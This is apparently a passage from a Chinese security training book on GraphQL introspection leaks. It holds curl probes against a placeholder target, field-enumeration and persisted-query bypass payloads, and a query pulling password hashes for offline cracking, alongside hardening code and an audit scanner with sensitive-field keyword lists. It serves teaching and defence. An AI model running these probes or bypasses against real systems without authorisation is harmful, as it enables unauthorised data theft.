新兴攻击面与专项安全 — 接口与客户端(GraphQL·移动·IoT)

📚 本册属于《13-新兴攻击面与专项安全-实战专题》共 7 册中的 第 2 册 本册内容:第三~五章:GraphQL/gRPC、移动端、小程序、实时通信与 IoT(共 21,168 行)

全 7 册导航:

分册 内容 规模
00-开篇与名词速查 第 0 册 名词速查 A~F(读任何一章前先扫一眼) 263 行

| 01-应用层安全(AI·API) | 第 1 册 第一、二章:AI/LLM 应用安全、API 安全 | 10,138 行 | | 02-接口与客户端(GraphQL·移动·IoT) | 第 2 册 第三五章:GraphQL/gRPC、移动端、小程序、实时通信与 IoT | 21,168 行 ← 本册 | | 03-主机与内网渗透 | 第 3 册 第六、七章:主机与操作系统安全、内网横向移动与域渗透 | 21,495 行 | | 04-数字取证与供应链 | 第 4 册 第八、九章:数字取证与应急响应 DFIR、软件供应链安全 | 17,172 行 | | 05-云原生与Serverless | 第 5 册 第十章:新兴云原生与 Serverless 安全 | 12,063 行 | | 06-Web3·数据合规·实战·总汇 | 第 6 册 第十一十四章:Web3、数据合规、综合实战、全书总汇 | 3,709 行 |

术语看不懂?回 00-开篇与名词速查 或 00-名词速查手册 Ctrl+F。


第三章:GraphQL 与 gRPC 安全(新型接口协议)

本章定位:11 号文档讲的是 REST 风格的 Web 安全,第二章讲的是 REST 风格的 API 安全。 本章讲两个安全模型完全不同的现代接口协议:GraphQL(前端驱动查询)和 gRPC(二进制 RPC)。

它们的安全问题不是 REST 漏洞的翻版,而是一批新物种:

协议 新物种漏洞 REST 里有对应物吗
GraphQL 内省泄露(一张图全给你) 无(REST 没有“自动导出全部接口”的标准能力)
GraphQL 深度/复杂度攻击(一条查询打死服务器) 有类似(大分页),但 GraphQL 是嵌套放大,威力大 100 倍
GraphQL 批量查询 + 别名攻击(一次请求干 1000 次的活,绕过限流) 无(REST 一次请求 = 一次操作)
GraphQL 字段级授权缺失(接口过了,字段没过) 无(REST 的授权单位是接口,GraphQL 的授权单位可以到字段)
gRPC 二进制带来的“看不见” —— WAF/网关/日志全都瞎了 无(REST 是明文 JSON,人人都看得懂)
gRPC 反射服务泄露(grpc_cli 一敲,接口清单全出来) 无

一句话记住本章: REST 的安全是“守住每个门“(每个接口是一道门); GraphQL 的安全是”守住图里的每个节点和每条边“(客户端自己决定走哪条路); gRPC 的安全是”守住每个服务之间的身份“(因为中间没有任何人看得见内容)。


3.1 先讲清楚:GraphQL 到底是什么,为什么安全模型完全不同

3.1.1 一句话定义

GraphQL 是 Facebook 在 2015 年开源的一种 API 查询语言和运行时。 核心思想:客户端自己决定要什么数据、要多少、以什么形状返回,服务端不再 predefined 每个接口的返回结构。

白话版(一句话):

  • REST = 去餐厅点套餐:菜单上写着“A 套餐 = 炒饭 + 汤 + 沙拉”,你只能点套餐,吃不完也得端上来。
  • GraphQL = 去餐厅点自助:你拿个盘子,自己决定夹什么、夹多少,“我要炒饭的米、不要配菜、再来两块排骨”。

再白话一点(面试用这句):

“REST 是服务端定义返回结构,所以安全问题主要是’每个接口有没有做鉴权’; GraphQL 是客户端定义返回结构,所以服务端根本不知道客户端会怎么组合查询, 于是’接口鉴权’这个单位就失效了 —— 你得管到字段这一级,还得限制客户端能把查询组合成什么样。”

3.1.2 三个核心概念(不懂这三个,后面全部看不懂)

概念 英文 白话解释 类比
Schema Schema(模式) 服务端公布的一张“数据地图”,声明了有哪些类型、每个类型有哪些字段、字段之间怎么连 餐厅的食材清单 + 搭配规则表
Resolver 解析器 每个字段背后的取数函数。查到这个字段就执行这个函数 后厨里每道菜对应的厨师
Query 查询 客户端发的一段类 JSON 的查询串,声明要走地图上的哪些路径 你手里的点菜单

看一个最小的例子:

# ===== 服务端公布的 Schema(数据地图)=====
type User {
  id: ID!
  name: String!
  email: String!          # 邮箱
  phone: String!          # 手机号
  orders: [Order!]!       # 这个用户的订单列表(关联)
  internalRiskScore: Int! # ★ 内部风控分(本不该给外部看)
}

type Order {
  id: ID!
  amount: Float!
  address: String!
  user: User!             # ★ 订单反向关联回用户(图是双向的)
}

type Query {
  user(id: ID!): User
  orders(first: Int): [Order!]!
}
# ===== 客户端发的 Query(点菜单)=====
query {
  user(id: "9527") {
    name
    email
    orders {
      id
      amount
      address
    }
  }
}
// ===== 服务端返回(形状和你点的一模一样)=====
{
  "data": {
    "user": {
      "name": "朱宏晖",
      "email": "zhuhh@example.com",
      "orders": [
        { "id": "10001", "amount": 6999.0, "address": "北京市朝阳区xxx" }
      ]
    }
  }
}

3.1.3 ★ 为什么 GraphQL 的安全模型和 REST 完全不同(本章的理论地基)

这是面试最爱问的“原理题“。记住这张表:

维度 REST API GraphQL 安全上的后果
端点数量 很多个(/api/users、/api/orders…) 只有 1 个(通常是 /graphql) REST 可以按路径配 WAF/网关/限流;GraphQL 只有一个路径,所有按路径的防护全部失效
返回结构谁定 服务端定死 客户端定 服务端无法预判客户端要什么 → 无法做“返回字段白名单” → 过度数据暴露风险天然更高
授权单位 接口(Endpoint) 字段(Field) REST 我们做 antMatchers("/admin/**").hasRole("ADMIN");GraphQL 里 /graphql 这一个路径,你没法按路径授权,必须做字段级授权
一次请求的工作量 基本固定(1 次查询) 可变,可以非常大(嵌套 + 别名) 攻击者可以用一条请求让服务器干上万次数据库查询 → DoS 威力放大 10000 倍
限流能否按“次数”算 能(1 次请求 ≈ 1 次操作) 不能(1 次请求可能含 1000 次操作) 按请求次数限流 = 形同虚设,必须按查询复杂度限流
接口文档 Swagger(要额外写/生成) 内省(Introspection)自带 攻击者不用猜,一条内省查询就能拿到完整 Schema → 攻击面自动暴露
是否有“没被使用的接口” 有(僵尸接口) 有(Schema 里声明了但没人查的字段) 资产管理问题依旧存在,但 GraphQL 可以通过**查询白名单(Persisted Query)**根治

★ 面试金句(背下来):

“GraphQL 本质上是把接口的设计权从服务端交给了客户端。 这在工程上是巨大的效率提升,但在安全上是把攻击面也一起交出去了。 所以 GraphQL 的安全建设有三个必须做的动作,缺一不可: ① 关掉生产环境内省(别把地图给攻击者) ② 限制查询的形状(深度 + 复杂度 + 批量数量) ③ 把授权下沉到字段级(而不是守在 /graphql 这一个路径上) 这三件事做了,GraphQL 才是安全的;少做一件,都是裸奔。”


3.2 Introspection 内省泄露 —— 把整张地图交给攻击者

3.2.1 一句话定义 + 生活类比

Introspection(内省 / 自省) 是 GraphQL 的标准特性:客户端可以发一个特殊查询,问服务端“你都有哪些类型和字段?”,服务端会把完整的 Schema 返回给你。

生活类比(★ 记住这个):

你去一家公司面试。正常流程是你问什么、前台答什么。 但这家公司的前台有个规矩:你只要问一句“你们公司都有谁、都在哪个工位、谁有保险柜钥匙”, 前台就会把完整的员工花名册 + 工位图 + 钥匙登记表全部打印给你。

这个“规矩”就是 Introspection。 它对内部开发极其方便(GraphiQL 的代码补全、自动生成客户端代码都靠它), 但对生产环境的攻击者来说,等于把整张藏宝图递过去。

3.2.2 内省查询长什么样(你可以现在就去试)

最经典的一条“万能查询” —— 把整个 Schema 完整导出:

query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    subscriptionType { name }
    types {
      ...FullType
    }
    directives {
      name
      description
      locations
      args { ...InputValue }
    }
  }
}

fragment FullType on __Type {
  kind
  name
  description
  fields(includeDeprecated: true) {
    name
    description
    args { ...InputValue }
    type { ...TypeRef }
    isDeprecated
    deprecationReason
  }
  inputFields { ...InputValue }
  interfaces { ...TypeRef }
  enumValues(includeDeprecated: true) {
    name
    description
    isDeprecated
    deprecationReason
  }
  possibleTypes { ...TypeRef }
}

fragment InputValue on __InputValue {
  name
  description
  type { ...TypeRef }
  defaultValue
}

fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType { kind name ofType { kind name ofType { kind name } } }
      }
    }
  }
}

不用手写 —— 几乎所有 GraphQL 客户端工具(GraphiQL、Apollo Studio、Altair、Postman)都内置了这条查询,点一下“Docs”就自动发出去了。

更简单的几条探测查询(判断目标是不是 GraphQL、内省开没开):

# ===== ① 判断是不是 GraphQL 端点 =====
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__typename}"}'
# 返回 {"data":{"__typename":"Query"}}  → 确认是 GraphQL

# ===== ② 探测内省是否开启(最简化版)=====
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name}}}"}'
# 返回一堆类型名 → 内省开着(危险)
# 返回 {"errors":[{"message":"GraphQL introspection is not allowed..."}]} → 已关闭(好)

# ===== ③ 只问有哪些 Query 入口(更隐蔽,绕过某些粗粒度拦截)=====
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{queryType{fields{name description args{name type{name}}}}}}"}'

# ===== ④ 找所有 Mutation(写操作,最有价值)=====
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{mutationType{fields{name description args{name type{name}}}}}}"}'

# ===== ⑤ 用 GET 发(有些 WAF 只拦 POST)=====
curl -s "https://target.com/graphql?query=%7B__schema%7Btypes%7Bname%7D%7D%7D"

# ===== ⑥ 常见端点路径字典(不一定叫 /graphql)=====
# /graphql  /graphiql  /graph  /api/graphql  /v1/graphql
# /query  /gql  /api  /graphql/console  /playground  /altair
# /graphql/v1  /api/v1/graphql  /graphql.php  /index.php?graphql

3.2.3 ★ 攻击者拿到 Schema 之后能干什么(危害远比你以为的大)

很多人以为“内省泄露只是信息泄露,不算严重漏洞”。这是错的。内省泄露是所有 GraphQL 攻击的前置条件:

第 1 步:内省拿到完整 Schema
   ↓
第 2 步:从 Schema 里找"开发者忘了保护的字段"
   ↓
   典型的"金矿字段"(★ 内省里一搜一个准):
     internalRiskScore     内部风控分
     isAdmin / role / permissions   权限标记
     passwordHash / salt   密码哈希(★ 直接拿走去撞)
     internalNotes         内部备注
     debugInfo / stackTrace
     cost / profit / margin  成本价、利润率(商业机密)
     deletedAt / isDeleted  软删标记(配合查已删数据)
     secretKey / apiKey / token
   ↓
第 3 步:从 Schema 里找"图里隐藏的路径"
   ↓
   ★ 这是 GraphQL 独有的:有些字段从业务入口走不到,但图是连通的
     例:Query.user → orders → user → orders → ...(循环引用)
     你以为 /graphql 只暴露了 user 查询,
     实际上从 user 能走到 order,从 order 又能走回 user,
     从 user 还能走到 payment → bankCard → ...
     ★ 图是连通的,任何一个入口都可能走到全图
   ↓
第 4 步:找 Mutation 里没做鉴权的写操作
   ↓
   deleteUser(id) / updateUserRole(id, role) / refund(orderId)
   ↓
第 5 步:构造攻击(越权 / 提权 / 拖库 / DoS)

★ 一个真实感很强的例子(“金矿字段”):

# 内省里发现了 User 类型有个 internalRiskScore 和 passwordHash
# 但前端页面上从来没用过 —— 开发者以为"前端不显示就没人知道"

query {
  users(first: 1000) {
    id
    name
    email
    phone
    passwordHash      # ★ 直接拿走,离线跑 hashcat
    internalRiskScore # ★ 商业机密
  }
}
{
  "data": {
    "users": [
      {
        "id": "1", "name": "admin", "email": "admin@corp.com",
        "phone": "13800138000",
        "passwordHash": "$2a$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy",
        "internalRiskScore": 5
      },
      { "id": "2", "name": "zhangsan", "...": "..." }
    ]
  }
}

一句话总结: 内省开着 = 攻击者不需要猜接口、不需要 Fuzz、不需要看前端 JS 找接口名, 一条命令就把你的整个数据模型 + 所有入口 + 所有内部字段全部拿到。 而且日志里只有一条正常的 200 OK 请求,没有任何异常特征。

3.2.4 为什么“关掉内省”不是万能的(三个绕过方法)

这是面试的加分题 —— 面试官问“内省怎么防”,你答“关掉”,他会追问“关了就安全了吗“。

绕过 1:错误信息 + 字段名建议(Suggestion)泄露

GraphQL 规范里有一条:如果你查了一个不存在的字段,服务端会返回 “Did you mean xxx?” 的建议。

# 内省已关闭,发一个瞎猜的字段
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ user(id:\"1\") { pasword } }"}'   # 故意拼错 password

# 返回:
# {
#   "errors": [{
#     "message": "Cannot query field 'pasword' on type 'User'. Did you mean 'password', 'passwordHash', 'phone'?"
#   }]
# }

★ 你看,内省关了,但字段名照样泄露了 —— 而且泄露的是真实存在的字段名。 攻击者可以写个脚本,用字典不断猜字段名,靠 “Did you mean” 把整个 Schema 慢慢“问”出来。 这就是 “字段名暴力枚举(Field Fuzzing)”。

修复:生产环境关闭 Did you mean 建议(graphql-java 里设 graphql.execution.DataFetcherExceptionHandler 或者直接用 GraphqlErrorBuilder 自定义错误消息,去掉 suggestion)。

绕过 2:前端 JS 里本来就有一份 Schema

很多团队用 Apollo/Relay 的代码生成,把 Schema 或 persisted query 的映射表打进了前端 bundle。攻击者 Ctrl+U 看 JS 就行。

# 从前端 JS 里扒 GraphQL 查询
grep -oE 'query [A-Za-z]+ *\([^)]*\) *\{[^}]{0,500}' https://target.com/static/js/app.*.js
# 或者在 Chrome DevTools → Sources → 搜 "query " / "mutation "
# 或者用工具:
#   https://github.com/doyensec/graphql-cop(还会顺便测一堆配置问题)
#   https://github.com/nikitastupin/clairvoyance(★ 专治内省关闭:靠建议+错误枚举还原 Schema)

绕过 3:Persisted Query 的 hash 可以反查

有些站点开了持久化查询(只接受预注册查询的 hash),但如果服务端允许“未知 hash 时回退到传完整 query”(多数实现都允许,为了兼容),那攻击者直接传完整 query 就行,白名单等于没开。

// 正常(白名单模式)
{"extensions":{"persistedQuery":{"version":1,"sha256Hash":"a1b2c3..."}},"query":null}

// ★ 绕过:把完整 query 一起传,很多服务端会接受并"顺便注册"
{"extensions":{"persistedQuery":{"version":1,"sha256Hash":"a1b2c3..."}},
 "query":"{ __schema { types { name } } }"}

3.2.5 怎么修(三件事必须一起做)

✅ 修复 1:生产环境关闭内省(但开发环境保留)

graphql-java(Spring Boot)配置:

/**
 * GraphQL 内省开关 —— 按环境区分
 *
 * ★ 关键认知:内省不是"关掉就完事",是要"只在可信环境开"。
 *   开发/测试环境开着(GraphiQL 要用),生产环境必须关。
 */
@Configuration
public class GraphQLIntrospectionConfig {

    @Value("${spring.profiles.active:dev}")
    private String activeProfile;

    @Bean
    public GraphQLSchemaProvider graphQLSchemaProvider(...) {
        // ...
    }

    /**
     * ★ 用 Instrumentation 拦截内省查询 —— 比全局开关更灵活
     *   好处:可以按"请求来源 / 角色 / Header"动态决定,
     *        比如内部服务或带了 X-Internal-Key 的请求仍可内省
     */
    @Bean
    public Instrumentation introspectionBlockingInstrumentation() {
        return new SimpleInstrumentation() {
            @Override
            public InstrumentationContext<ExecutionResult> beginExecuteOperation(
                    InstrumentationExecuteOperationParameters parameters) {

                boolean isIntrospection = parameters.getExecutionContext()
                        .getOperationDefinition().getSelectionSet()
                        .getSelections().stream()
                        .anyMatch(s -> s instanceof Field
                                && ((Field) s).getName().startsWith("__"));

                boolean isProd = "prod".equals(activeProfile);
                boolean hasInternalKey = hasInternalKey(parameters);

                if (isIntrospection && isProd && !hasInternalKey) {
                    // ★ 直接返回错误,不要执行
                    throw new AbortExecutionException(
                        GraphqlErrorBuilder.newError()
                            .message("内省查询在生产环境已禁用")
                            .build());
                }
                return SimpleInstrumentationContext.noOp();
            }

            private boolean hasInternalKey(InstrumentationExecuteOperationParameters p) {
                // 内部服务带上特定 Header 可以内省(给 CI / 契约测试用)
                Object ctx = p.getExecutionContext().getContext();
                if (ctx instanceof GraphQLContext gqlCtx) {
                    return "true".equals(gqlCtx.get("internalKeyValid"));
                }
                return false;
            }
        };
    }
}

Node.js(Apollo Server)配置:

// Apollo Server 4 —— 生产环境关闭内省
import { ApolloServer } from '@apollo/server';
import { ApolloServerPluginLandingPageDisabled } from '@apollo/server/plugin/disabled';

const server = new ApolloServer({
  typeDefs,
  resolvers,
  introspection: process.env.NODE_ENV !== 'production',   // ★ 生产关闭内省
  plugins: [
    // ★ 同时关掉默认的 Landing Page(/graphql 直接访问时的那个可视化界面)
    process.env.NODE_ENV === 'production'
      ? ApolloServerPluginLandingPageDisabled()
      : ApolloServerPluginLandingPageLocalDefault(),
  ],
});

Nginx / 网关层兜底(★ 推荐,双保险):

# ===== Nginx 层直接挡掉内省请求 =====
# 好处:应用层关不掉(比如第三方库偷偷开了)时,网关还能兜住
location /graphql {
    # 检测请求体里的 __schema / __type 关键字
    if ($request_body ~* "(__schema|__type|__typename\s*\}*\s*$)") {
        # ★ 注意:__typename 很多正常客户端会带(Apollo 缓存用),
        #        所以这里只拦 __schema 和 __type,不要一刀切
        return 403 '{"errors":[{"message":"Introspection disabled"}]}';
    }
    proxy_pass http://graphql_backend;
}

# ★ 同时禁止直接访问 GraphiQL / Playground 页面
location ~ ^/(graphiql|playground|altair|voyager) {
    return 404;
}

⚠️ Nginx 层的局限(面试会追问): $request_body 只有在 client_body_buffer_size 足够大、且请求体已被读入内存时才非空。 大请求体或者 client_max_body_size 超限时可能匹配不到。 更好的做法是用 OpenResty + lua-nginx-module 在 access_by_lua_block 里读 body, 或者干脆在应用层 Instrumentation 里做(更可靠)。两层都做,纵深防御。

✅ 修复 2:关闭字段建议(Did you mean)

/**
 * 自定义异常处理 —— 生产环境抹掉 "Did you mean" 建议
 *
 * ★ 为什么重要:字段名建议 = 变相助攻攻击者枚举 Schema
 */
@Component
public class ProductionGraphQLErrorHandler implements DataFetcherExceptionHandler {

    @Value("${spring.profiles.active:dev}")
    private String profile;

    @Override
    public DataFetcherExceptionHandlerResult onException(
            DataFetcherExceptionHandlerParameters params) {

        Throwable e = params.getException();
        SourceLocation loc = params.getSourceLocation();
        ResultPath path = params.getPath();

        String message;
        if ("prod".equals(profile)) {
            // ★ 生产环境:通用错误消息 + traceId,绝不泄露内部细节
            String traceId = MDC.get("traceId");
            message = "查询执行失败,请联系管理员。traceId=" + traceId;
            log.error("GraphQL error at path={} loc={} traceId={}", path, loc, traceId, e);
        } else {
            message = e.getMessage();   // 开发环境保留详细错误
        }

        GraphQLError error = GraphqlErrorBuilder.newError()
                .message(message)
                .location(loc)
                .path(path)
                .build();

        return DataFetcherExceptionHandlerResult.newResult().error(error).build();
    }
}
/**
 * ★ 额外:拦截 ValidationError(字段名不存在就是这类错误)
 *   它的 message 里带有 "Did you mean ...",需要单独处理
 */
@Component
public class ValidationErrorSanitizer implements Instrumentation {

    @Override
    public ExecutionResult instrumentExecutionResult(
            ExecutionResult executionResult,
            InstrumentationExecutionParameters parameters) {

        List<GraphQLError> errors = executionResult.getErrors();
        if (errors == null || errors.isEmpty() || !isProd()) {
            return executionResult;
        }

        List<GraphQLError> sanitized = errors.stream()
                .map(this::sanitize)
                .toList();

        return ExecutionResultImpl.newExecutionResult()
                .from(executionResult)
                .errors(sanitized)
                .build();
    }

    private GraphQLError sanitize(GraphQLError err) {
        String msg = err.getMessage();
        // ★ 砍掉 "Did you mean xxx?" 这一段
        if (msg != null && msg.contains("Did you mean")) {
            msg = msg.substring(0, msg.indexOf("Did you mean")).trim();
            // 再进一步:把具体的字段名也抹掉
            msg = "查询字段无效";
        }
        return GraphqlErrorBuilder.newError()
                .message(msg)
                .locations(err.getLocations())
                .build();
    }
}

✅ 修复 3:内省开着也不怕 —— 字段级授权(这是治本方案)

★ 最重要的一句话: 内省泄露本身不是最可怕的问题,可怕的是“Schema 里有不该给外部看的字段”。 如果你的 Schema 里没有 internalRiskScore、passwordHash 这种字段, 或者这些字段即便被问到了也返回 null,那内省开着危害也有限。

所以正确姿势是: ① 生产关内省(减少暴露) + ② 敏感字段不进对外的 Schema(分层 Schema) + ③ 字段级授权(最后一道闸) 三件事全做。只做第一件,等同于“把钥匙藏在地垫下面”。

分层 Schema(Schema Stitching / 内外分离) —— 这是最干净的做法:

内部 Schema(完整,含所有字段)
        │
        │  【构建期】用工具裁剪,生成"对外 Schema"
        ▼
对外 Schema(裁剪后)              ← 只暴露给外部客户端
   - 移除 internalRiskScore、passwordHash 等敏感字段
   - 移除内部专用的 Mutation
   - 移除 admin* 前缀的查询
/**
 * 用 graphql-java 的 SchemaTransformer 在【启动时】裁剪 Schema
 *
 * ★ 思路:不是"查到这个字段时报错",而是"这个字段压根不存在于对外 Schema"。
 *   这样内省拿到的就是干净的 Schema,攻击者连字段名都看不到。
 */
@Component
@Slf4j
public class PublicSchemaTransformer {

    /** 对外 Schema 中【必须移除】的字段(敏感字段黑名单)*/
    private static final Set<String> SENSITIVE_FIELDS = Set.of(
            "passwordHash", "salt", "internalRiskScore", "internalNotes",
            "cost", "profit", "margin", "secretKey", "apiKey",
            "debugInfo", "stackTrace", "rawSql"
    );

    /** 对外 Schema 中【必须移除】的 Mutation */
    private static final Set<String> INTERNAL_MUTATIONS = Set.of(
            "deleteUser", "updateUserRole", "refund", "adjustBalance",
            "reindexAll", "flushCache", "triggerJob"
    );

    public GraphQLSchema buildPublicSchema(GraphQLSchema internalSchema) {
        return SchemaTransform.transformSchema(internalSchema, new GraphQLTypeVisitorStub() {

            // ① 裁剪对象类型的字段
            @Override
            public TraversalControl visitGraphQLObjectType(
                    GraphQLObjectType node, TraverserContext<GraphQLSchemaElement> context) {

                // 内部 Mutation 整个移除
                if (INTERNAL_MUTATIONS.contains(node.getName())) {
                    return TreeTransformerUtil.deleteNode(context);
                }

                // 敏感字段移除
                node.getFields().stream()
                    .filter(f -> isSensitive(node.getName(), f.getName()))
                    .forEach(f -> {
                        log.info("[Schema裁剪] 移除敏感字段 {}.{}", node.getName(), f.getName());
                        TreeTransformerUtil.deleteNode(context.thisNode());
                    });

                return TraversalControl.CONTINUE;
            }

            private boolean isSensitive(String typeName, String fieldName) {
                return SENSITIVE_FIELDS.contains(fieldName)
                        || fieldName.startsWith("internal")
                        || fieldName.startsWith("_");   // 内部字段统一 _ 前缀约定
            }
        });
    }
}

3.2.6 内省泄露 —— 完整检测脚本(可以直接拿去自查)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
graphql_introspect.py —— GraphQL 端点探测 + 内省导出 + 敏感字段扫描

用法:
    python graphql_introspect.py https://target.com/graphql
    python graphql_introspect.py https://target.com/graphql -H "Authorization: Bearer xxx"
    python graphql_introspect.py https://target.com/graphql --scan-sensitive

★ 只用于自己有授权的系统自查!
"""
import sys, json, re, argparse, urllib.request, urllib.error
from typing import Optional

INTROSPECTION_QUERY = """
query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    subscriptionType { name }
    types {
      kind name description
      fields(includeDeprecated: true) {
        name description
        args { name type { kind name ofType { kind name } } }
        type { kind name ofType { kind name ofType { kind name } } }
      }
      inputFields { name type { kind name } }
      enumValues { name }
    }
  }
}
"""

# ★ 敏感字段关键词(内省导出后自动高亮)
SENSITIVE_PATTERNS = {
    "凭据类": ["password", "passwd", "pwd", "secret", "token", "apikey", "api_key",
              "privatekey", "private_key", "credential", "accesskey", "access_key"],
    "权限类": ["role", "permission", "isadmin", "is_admin", "admin", "authority",
              "scope", "group", "privilege"],
    "内部风控": ["riskscore", "risk_score", "internal", "score", "credit", "blacklist"],
    "商业机密": ["cost", "profit", "margin", "price_cost", "purchase_price", "supplier"],
    "调试信息": ["debug", "stacktrace", "stack_trace", "rawsql", "raw_sql", "exception"],
    "PII敏感": ["idcard", "id_card", "ssn", "bankcard", "bank_card", "phone",
                "mobile", "address", "realname", "real_name"],
}

# ★ 危险的写操作关键词(Mutation 里出现就要重点人工复核)
DANGEROUS_MUTATIONS = [
    "delete", "remove", "drop", "purge",
    "update", "modify", "set", "change",
    "grant", "revoke", "assign", "promote",
    "refund", "transfer", "withdraw", "adjust",
    "execute", "eval", "run", "trigger", "flush", "reindex",
    "impersonate", "sudo", "assume",
]

COLORS = {
    "red":    "\033[91m", "green":  "\033[92m", "yellow": "\033[93m",
    "blue":   "\033[94m", "purple": "\033[95m", "cyan":   "\033[96m",
    "bold":   "\033[1m",  "end":    "\033[0m",
}


def c(text: str, color: str) -> str:
    return f"{COLORS.get(color, '')}{text}{COLORS['end']}"


def post(url: str, payload: dict, headers: dict, timeout: int = 15) -> Optional[dict]:
    """发送 GraphQL 请求"""
    data = json.dumps(payload).encode("utf-8")
    req = urllib.request.Request(url, data=data, method="POST")
    req.add_header("Content-Type", "application/json")
    req.add_header("User-Agent", "graphql-audit/1.0")
    for k, v in headers.items():
        req.add_header(k, v)
    try:
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            return json.loads(resp.read().decode("utf-8", errors="replace"))
    except urllib.error.HTTPError as e:
        body = e.read().decode("utf-8", errors="replace")
        print(c(f"  [!] HTTP {e.code}: {body[:300]}", "yellow"))
        return None
    except Exception as e:
        print(c(f"  [!] 请求失败: {e}", "red"))
        return None


def probe(url: str, headers: dict) -> bool:
    """探测目标是不是 GraphQL 端点"""
    print(c("\n[*] 步骤 1:探测目标是否为 GraphQL 端点", "bold"))
    r = post(url, {"query": "{__typename}"}, headers)
    if r and "data" in r and r["data"].get("__typename"):
        print(c(f"  [✓] 确认是 GraphQL 端点,根类型名 = {r['data']['__typename']}", "green"))
        return True
    print(c("  [×] 不是 GraphQL 端点,或需要认证", "red"))
    return False


def introspect(url: str, headers: dict) -> Optional[dict]:
    """执行内省查询"""
    print(c("\n[*] 步骤 2:尝试内省导出完整 Schema", "bold"))
    r = post(url, {"query": INTROSPECTION_QUERY}, headers)
    if not r:
        return None
    if "errors" in r and r["errors"]:
        msg = r["errors"][0].get("message", "")
        if "introspection" in msg.lower() or "not allowed" in msg.lower():
            print(c("  [✓] 内省已关闭(这是好事):" + msg[:120], "green"))
        else:
            print(c("  [!] 内省返回错误:" + msg[:200], "yellow"))
        return None
    if "data" in r and r["data"].get("__schema"):
        types = r["data"]["__schema"]["types"]
        print(c(f"  [!] 内省开启!导出到 {len(types)} 个类型", "red"))
        return r["data"]["__schema"]
    return None


def unwrap_type(t) -> str:
    """把嵌套的 type 结构展开成 GraphQL 语法,如 [User!]!"""
    if not t:
        return "?"
    if t.get("ofType"):
        inner = unwrap_type(t["ofType"])
        if t["kind"] == "NON_NULL":
            return inner + "!"
        if t["kind"] == "LIST":
            return "[" + inner + "]"
        return inner
    return t.get("name", "?")


def scan_sensitive(schema: dict) -> None:
    """扫描敏感字段与危险 Mutation"""
    print(c("\n[*] 步骤 3:敏感字段扫描", "bold"))
    hits = []
    muts = []

    for t in schema.get("types", []):
        if t.get("name", "").startswith("__"):      # 跳过内建类型
            continue
        for f in (t.get("fields") or []):
            fname = f.get("name", "")
            lname = fname.lower()
            for cat, kws in SENSITIVE_PATTERNS.items():
                if any(k in lname for k in kws):
                    hits.append((cat, t["name"], fname, unwrap_type(f.get("type"))))
                    break

        # 收集所有 Mutation
        if t.get("name") == schema.get("mutationType", {}).get("name"):
            for f in (t.get("fields") or []):
                args = ", ".join(
                    f"{a['name']}: {unwrap_type(a.get('type'))}"
                    for a in (f.get("args") or []))
                muts.append((f["name"], args, unwrap_type(f.get("type"))))

    # 输出敏感字段
    if hits:
        print(c(f"\n  【敏感字段】命中 {len(hits)} 处:", "red"))
        by_cat = {}
        for cat, tn, fn, ft in hits:
            by_cat.setdefault(cat, []).append(f"{tn}.{fn}: {ft}")
        for cat in SENSITIVE_PATTERNS:
            if cat in by_cat:
                print(c(f"\n   ── {cat} ──", "yellow"))
                for line in by_cat[cat][:30]:
                    print(f"      • {line}")
                if len(by_cat[cat]) > 30:
                    print(f"      ... 还有 {len(by_cat[cat]) - 30} 条")
    else:
        print(c("  [✓] 未命中明显的敏感字段关键词", "green"))

    # 输出危险 Mutation
    if muts:
        print(c(f"\n【Mutation 清单】共 {len(muts)} 个写操作,以下需要重点人工复核:", "purple"))
        danger = [m for m in muts
                  if any(k in m[0].lower() for k in DANGEROUS_MUTATIONS)]
        for name, args, ret in danger[:40]:
            print(c(f"   ★ {name}({args}): {ret}", "red"))
        if not danger:
            print("   (未命中危险关键词)")


def check_graphiql(url: str) -> None:
    """检查可视化调试页面是否暴露"""
    print(c("\n[*] 步骤 4:检查调试页面是否暴露", "bold"))
    base = url.rstrip("/").rsplit("/", 1)[0] if "/graphql" in url else url.rstrip("/")
    paths = ["/graphiql", "/playground", "/altair", "/voyager", "/graphql/console",
             "/graphql/playground", "/__graphql"]
    for p in paths:
        try:
            req = urllib.request.Request(base + p, method="GET")
            req.add_header("User-Agent", "graphql-audit/1.0")
            with urllib.request.urlopen(req, timeout=8) as resp:
                if resp.status == 200:
                    body = resp.read().decode("utf-8", errors="replace")
                    if "graphiql" in body.lower() or "graphql" in body.lower():
                        print(c(f"  [!] 暴露调试页面:{base + p}", "red"))
        except Exception:
            pass
    print("  (未列出的路径即未暴露)")


def main():
    ap = argparse.ArgumentParser(description="GraphQL 内省泄露自查工具")
    ap.add_argument("url", help="GraphQL 端点 URL")
    ap.add_argument("-H", "--header", action="append", default=[],
                    help="额外请求头,格式 'Key: Value',可重复")
    ap.add_argument("-o", "--output", help="把 Schema 导出到 JSON 文件")
    ap.add_argument("--scan-sensitive", action="store_true", help="扫描敏感字段")
    args = ap.parse_args()

    headers = {}
    for h in args.header:
        if ":" in h:
            k, v = h.split(":", 1)
            headers[k.strip()] = v.strip()

    print(c(f"目标:{args.url}", "cyan"))
    print(c("=" * 70, "cyan"))

    if not probe(args.url, headers):
        sys.exit(1)

    schema = introspect(args.url, headers)

    if schema:
        if args.output:
            with open(args.output, "w", encoding="utf-8") as fp:
                json.dump(schema, fp, ensure_ascii=False, indent=2)
            print(c(f"\n  Schema 已导出到:{args.output}", "green"))
        scan_sensitive(schema)

    check_graphiql(args.url)

    print(c("\n" + "=" * 70, "cyan"))
    print(c("自查清单:", "bold"))
    print("  ☐ 生产环境内省是否已关闭")
    print("  ☐ 生产环境是否关闭了 'Did you mean' 字段建议")
    print("  ☐ 调试页面(/graphiql、/playground)是否已下线")
